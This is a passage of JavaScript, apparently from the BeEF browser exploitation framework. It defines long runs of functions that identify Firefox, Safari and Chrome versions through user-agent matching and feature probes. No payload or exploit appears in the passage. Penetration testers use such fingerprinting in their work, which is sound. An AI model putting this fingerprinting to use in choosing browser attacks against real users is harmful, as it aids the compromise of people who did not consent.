  2910.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
  2911.     },
  2912.  
  2913.     /**
  2914.      * Returns true if FF6.
  2915.      * @example: beef.browser.isFF6()
  2916.      */
  2917.     isFF6: function () {
  2918.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
  2919.     },
  2920.  
  2921.     /**
  2922.      * Returns true if FF7.
  2923.      * @example: beef.browser.isFF7()
  2924.      */
  2925.     isFF7: function () {
  2926.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
  2927.     },
  2928.  
  2929.     /**
  2930.      * Returns true if FF8.
  2931.      * @example: beef.browser.isFF8()
  2932.      */
  2933.     isFF8: function () {
  2934.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
  2935.     },
  2936.  
  2937.     /**
  2938.      * Returns true if FF9.
  2939.      * @example: beef.browser.isFF9()
  2940.      */
  2941.     isFF9: function () {
  2942.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
  2943.     },
  2944.  
  2945.     /**
  2946.      * Returns true if FF10.
  2947.      * @example: beef.browser.isFF10()
  2948.      */
  2949.     isFF10: function () {
  2950.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
  2951.     },
  2952.  
  2953.     /**
  2954.      * Returns true if FF11.
  2955.      * @example: beef.browser.isFF11()
  2956.      */
  2957.     isFF11: function () {
  2958.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
  2959.     },
  2960.  
  2961.     /**
  2962.      * Returns true if FF12
  2963.      * @example: beef.browser.isFF12()
  2964.      */
  2965.     isFF12: function () {
  2966.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
  2967.     },
  2968.  
  2969.     /**
  2970.      * Returns true if FF13
  2971.      * @example: beef.browser.isFF13()
  2972.      */
  2973.     isFF13: function () {
  2974.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
  2975.     },
  2976.  
  2977.     /**
  2978.      * Returns true if FF14
  2979.      * @example: beef.browser.isFF14()
  2980.      */
  2981.     isFF14: function () {
  2982.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
  2983.     },
  2984.  
  2985.     /**
  2986.      * Returns true if FF15
  2987.      * @example: beef.browser.isFF15()
  2988.      */
  2989.     isFF15: function () {
  2990.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
  2991.     },
  2992.  
  2993.     /**
  2994.      * Returns true if FF16
  2995.      * @example: beef.browser.isFF16()
  2996.      */
  2997.     isFF16: function () {
  2998.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
  2999.     },
  3000.  
  3001.     /**
  3002.      * Returns true if FF17
  3003.      * @example: beef.browser.isFF17()
  3004.      */
  3005.     isFF17: function () {
  3006.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
  3007.     },
  3008.  
  3009.     /**
  3010.      * Returns true if FF18
  3011.      * @example: beef.browser.isFF18()
  3012.      */
  3013.     isFF18: function () {
  3014.         return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null;
  3015.     },
  3016.  
  3017.     /**
  3018.      * Returns true if FF19
  3019.      * @example: beef.browser.isFF19()
  3020.      */
  3021.     isFF19: function () {
  3022.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
  3023.     },
  3024.  
  3025.     /**
  3026.      * Returns true if FF20
  3027.      * @example: beef.browser.isFF20()
  3028.      */
  3029.     isFF20: function () {
  3030.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
  3031.     },
  3032.  
  3033.     /**
  3034.      * Returns true if FF21
  3035.      * @example: beef.browser.isFF21()
  3036.      */
  3037.     isFF21: function () {
  3038.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null;
  3039.     },
  3040.  
  3041.     /**
  3042.      * Returns true if FF22
  3043.      * @example: beef.browser.isFF22()
  3044.      */
  3045.     isFF22: function () {
  3046.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null;
  3047.     },
  3048.  
  3049.     /**
  3050.      * Returns true if FF23
  3051.      * @example: beef.browser.isFF23()
  3052.      */
  3053.     isFF23: function () {
  3054.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null;
  3055.     },
  3056.  
  3057.     /**
  3058.      * Returns true if FF24
  3059.      * @example: beef.browser.isFF24()
  3060.      */
  3061.     isFF24: function () {
  3062.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null;
  3063.     },
  3064.  
  3065.     /**
  3066.      * Returns true if FF25
  3067.      * @example: beef.browser.isFF25()
  3068.      */
  3069.     isFF25: function () {
  3070.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null;
  3071.     },
  3072.  
  3073.     /**
  3074.      * Returns true if FF26
  3075.      * @example: beef.browser.isFF26()
  3076.      */
  3077.     isFF26: function () {
  3078.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null;
  3079.     },
  3080.  
  3081.     /**
  3082.      * Returns true if FF27
  3083.      * @example: beef.browser.isFF27()
  3084.      */
  3085.     isFF27: function () {
  3086.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null;
  3087.     },
  3088.  
  3089.     /**
  3090.      * Returns true if FF28
  3091.      * @example: beef.browser.isFF28()
  3092.      */
  3093.     isFF28: function () {
  3094.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
  3095.     },
  3096.  
  3097.     /**
  3098.      * Returns true if FF29
  3099.      * @example: beef.browser.isFF29()
  3100.      */
  3101.     isFF29: function () {
  3102.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
  3103.     },
  3104.  
  3105.     /**
  3106.      * Returns true if FF30
  3107.      * @example: beef.browser.isFF30()
  3108.      */
  3109.     isFF30: function () {
  3110.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
  3111.     },
  3112.  
  3113.     /**
  3114.      * Returns true if FF31
  3115.      * @example: beef.browser.isFF31()
  3116.      */
  3117.     isFF31: function () {
  3118.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
  3119.     },
  3120.  
  3121.     /**
  3122.      * Returns true if FF32
  3123.      * @example: beef.browser.isFF32()
  3124.      */
  3125.     isFF32: function () {
  3126.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
  3127.     },
  3128.  
  3129.     /**
  3130.      * Returns true if FF33
  3131.      * @example: beef.browser.isFF33()
  3132.      */
  3133.     isFF33: function () {
  3134.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
  3135.     },
  3136.  
  3137.     /**
  3138.      * Returns true if FF34
  3139.      * @example: beef.browser.isFF34()
  3140.      */
  3141.     isFF34: function () {
  3142.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
  3143.     },
  3144.  
  3145.     /**
  3146.      * Returns true if FF35
  3147.      * @example: beef.browser.isFF35()
  3148.      */
  3149.     isFF35: function () {
  3150.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
  3151.     },
  3152.  
  3153.     /**
  3154.      * Returns true if FF36
  3155.      * @example: beef.browser.isFF36()
  3156.      */
  3157.     isFF36: function () {
  3158.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
  3159.     },
  3160.  
  3161.     /**
  3162.      * Returns true if FF37
  3163.      * @example: beef.browser.isFF37()
  3164.      */
  3165.     isFF37: function () {
  3166.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
  3167.     },
  3168.  
  3169.     /**
  3170.      * Returns true if FF38
  3171.      * @example: beef.browser.isFF38()
  3172.      */
  3173.     isFF38: function () {
  3174.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
  3175.     },
  3176.  
  3177.     /**
  3178.      * Returns true if FF39
  3179.      * @example: beef.browser.isFF39()
  3180.      */
  3181.     isFF39: function () {
  3182.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
  3183.     },
  3184.  
  3185.     /**
  3186.      * Returns true if FF40
  3187.      * @example: beef.browser.isFF40()
  3188.      */
  3189.     isFF40: function () {
  3190.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null;
  3191.     },
  3192.  
  3193.     /**
  3194.      * Returns true if FF41
  3195.      * @example: beef.browser.isFF41()
  3196.      */
  3197.     isFF41: function () {
  3198.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null;
  3199.     },
  3200.  
  3201.     /**
  3202.      * Returns true if FF42
  3203.      * @example: beef.browser.isFF42()
  3204.      */
  3205.     isFF42: function () {
  3206.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null;
  3207.     },
  3208.  
  3209.     /**
  3210.      * Returns true if FF43
  3211.      * @example: beef.browser.isFF43()
  3212.      */
  3213.     isFF43: function () {
  3214.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null;
  3215.     },
  3216.  
  3217.     /**
  3218.      * Returns true if FF44
  3219.      * @example: beef.browser.isFF44()
  3220.      */
  3221.     isFF44: function () {
  3222.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null;
  3223.     },
  3224.  
  3225.     /**
  3226.      * Returns true if FF45
  3227.      * @example: beef.browser.isFF45()
  3228.      */
  3229.     isFF45: function () {
  3230.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null;
  3231.     },
  3232.  
  3233.     /**
  3234.      * Returns true if FF46
  3235.      * @example: beef.browser.isFF46()
  3236.      */
  3237.     isFF46: function () {
  3238.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null;
  3239.     },
  3240.  
  3241.     /**
  3242.      * Returns true if FF47
  3243.      * @example: beef.browser.isFF47()
  3244.      */
  3245.     isFF47: function () {
  3246.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null;
  3247.     },
  3248.  
  3249.     /**
  3250.      * Returns true if FF48
  3251.      * @example: beef.browser.isFF48()
  3252.      */
  3253.     isFF48: function () {
  3254.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null;
  3255.     },
  3256.  
  3257.     /**
  3258.      * Returns true if FF49
  3259.      * @example: beef.browser.isFF49()
  3260.      */
  3261.     isFF49: function () {
  3262.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null;
  3263.     },
  3264.  
  3265.     /**
  3266.      * Returns true if FF50
  3267.      * @example: beef.browser.isFF50()
  3268.      */
  3269.     isFF50: function () {
  3270.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null;
  3271.     },
  3272.  
  3273.     /**
  3274.      * Returns true if FF51
  3275.      * @example: beef.browser.isFF51()
  3276.      */
  3277.     isFF51: function () {
  3278.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null;
  3279.     },
  3280.  
  3281.     /**
  3282.      * Returns true if FF52
  3283.      * @example: beef.browser.isFF52()
  3284.      */
  3285.     isFF52: function () {
  3286.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null;
  3287.     },
  3288.  
  3289.     /**
  3290.      * Returns true if FF53
  3291.      * @example: beef.browser.isFF53()
  3292.      */
  3293.     isFF53: function () {
  3294.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null;
  3295.     },
  3296.  
  3297.  
  3298.     /**
  3299.      * Returns true if FF.
  3300.      * @example: beef.browser.isFF()
  3301.      */
  3302.     isFF: function () {
  3303.         return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53();
  3304.     },
  3305.  
  3306.     /**
  3307.      * Returns true if Safari 4.xx
  3308.      * @example: beef.browser.isS4()
  3309.      */
  3310.     isS4: function () {
  3311.         return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  3312.     },
  3313.  
  3314.     /**
  3315.      * Returns true if Safari 5.xx
  3316.      * @example: beef.browser.isS5()
  3317.      */
  3318.     isS5: function () {
  3319.         return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  3320.     },
  3321.  
  3322.     /**
  3323.      * Returns true if Safari 6.xx
  3324.      * @example: beef.browser.isS6()
  3325.      */
  3326.     isS6: function () {
  3327.         return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  3328.     },
  3329.  
  3330.     /**
  3331.      * Returns true if Safari 7.xx
  3332.      * @example: beef.browser.isS7()
  3333.      */
  3334.     isS7: function () {
  3335.         return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  3336.     },
  3337.  
  3338.     /**
  3339.      * Returns true if Safari 8.xx
  3340.      * @example: beef.browser.isS8()
  3341.      */
  3342.     isS8: function () {
  3343.         return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  3344.     },
  3345.  
  3346.     /**
  3347.      * Returns true if Safari.
  3348.      * @example: beef.browser.isS()
  3349.      */
  3350.     isS: function () {
  3351.         return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
  3352.     },
  3353.  
  3354.     /**
  3355.      * Returns true if Chrome 5.
  3356.      * @example: beef.browser.isC5()
  3357.      */
  3358.     isC5: function () {
  3359.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false);
  3360.     },
  3361.  
  3362.     /**
  3363.      * Returns true if Chrome 6.
  3364.      * @example: beef.browser.isC6()
  3365.      */
  3366.     isC6: function () {
  3367.         return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false);
  3368.     },
  3369.  
  3370.     /**
  3371.      * Returns true if Chrome 7.
  3372.      * @example: beef.browser.isC7()
  3373.      */
  3374.     isC7: function () {
  3375.         return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false);
  3376.     },
  3377.  
  3378.     /**
  3379.      * Returns true if Chrome 8.
  3380.      * @example: beef.browser.isC8()
  3381.      */
  3382.     isC8: function () {
  3383.         return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false);
  3384.     },
  3385.  
  3386.     /**
  3387.      * Returns true if Chrome 9.
  3388.      * @example: beef.browser.isC9()
  3389.      */
  3390.     isC9: function () {
  3391.         return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false);
  3392.     },
  3393.  
  3394.     /**
  3395.      * Returns true if Chrome 10.
  3396.      * @example: beef.browser.isC10()
  3397.      */
  3398.     isC10: function () {
  3399.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false);
  3400.     },
  3401.  
  3402.     /**
  3403.      * Returns true if Chrome 11.
  3404.      * @example: beef.browser.isC11()
  3405.      */
  3406.     isC11: function () {
  3407.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false);
  3408.     },
  3409.  
  3410.     /**
  3411.      * Returns true if Chrome 12.
  3412.      * @example: beef.browser.isC12()
  3413.      */
  3414.     isC12: function () {
  3415.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false);
  3416.     },
  3417.  
  3418.     /**
  3419.      * Returns true if Chrome 13.
  3420.      * @example: beef.browser.isC13()
  3421.      */
  3422.     isC13: function () {
  3423.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false);
  3424.     },
  3425.  
  3426.     /**
  3427.      * Returns true if Chrome 14.
  3428.      * @example: beef.browser.isC14()
  3429.      */
  3430.     isC14: function () {
  3431.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false);
  3432.     },
  3433.  
  3434.     /**
  3435.      * Returns true if Chrome 15.
  3436.      * @example: beef.browser.isC15()
  3437.      */
  3438.     isC15: function () {
  3439.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false);
  3440.     },
  3441.  
  3442.     /**
  3443.      * Returns true if Chrome 16.
  3444.      * @example: beef.browser.isC16()
  3445.      */
  3446.     isC16: function () {
  3447.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false);
  3448.     },
  3449.  
  3450.     /**
  3451.      * Returns true if Chrome 17.
  3452.      * @example: beef.browser.isC17()
  3453.      */
  3454.     isC17: function () {
  3455.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false);
  3456.     },
  3457.  
  3458.     /**
  3459.      * Returns true if Chrome 18.
  3460.      * @example: beef.browser.isC18()
  3461.      */
  3462.     isC18: function () {
  3463.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false);
  3464.     },
  3465.  
  3466.     /**
  3467.      * Returns true if Chrome 19.
  3468.      * @example: beef.browser.isC19()
  3469.      */
  3470.     isC19: function () {
  3471.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false);
  3472.     },
  3473.  
  3474.     /**
  3475.      * Returns true if Chrome for iOS 19.
  3476.      * @example: beef.browser.isC19iOS()
  3477.      */
  3478.     isC19iOS: function () {
  3479.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
  3480.     },
  3481.  
  3482.     /**
  3483.      * Returns true if Chrome 20.
  3484.      * @example: beef.browser.isC20()
  3485.      */
  3486.     isC20: function () {
  3487.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false);
  3488.     },
  3489.  
  3490.     /**
  3491.      * Returns true if Chrome for iOS 20.
  3492.      * @example: beef.browser.isC20iOS()
  3493.      */
  3494.     isC20iOS: function () {
  3495.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
  3496.     },
  3497.  
  3498.     /**
  3499.      * Returns true if Chrome 21.
  3500.      * @example: beef.browser.isC21()
  3501.      */
  3502.     isC21: function () {
  3503.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false);
  3504.     },
  3505.  
  3506.     /**
  3507.      * Returns true if Chrome for iOS 21.
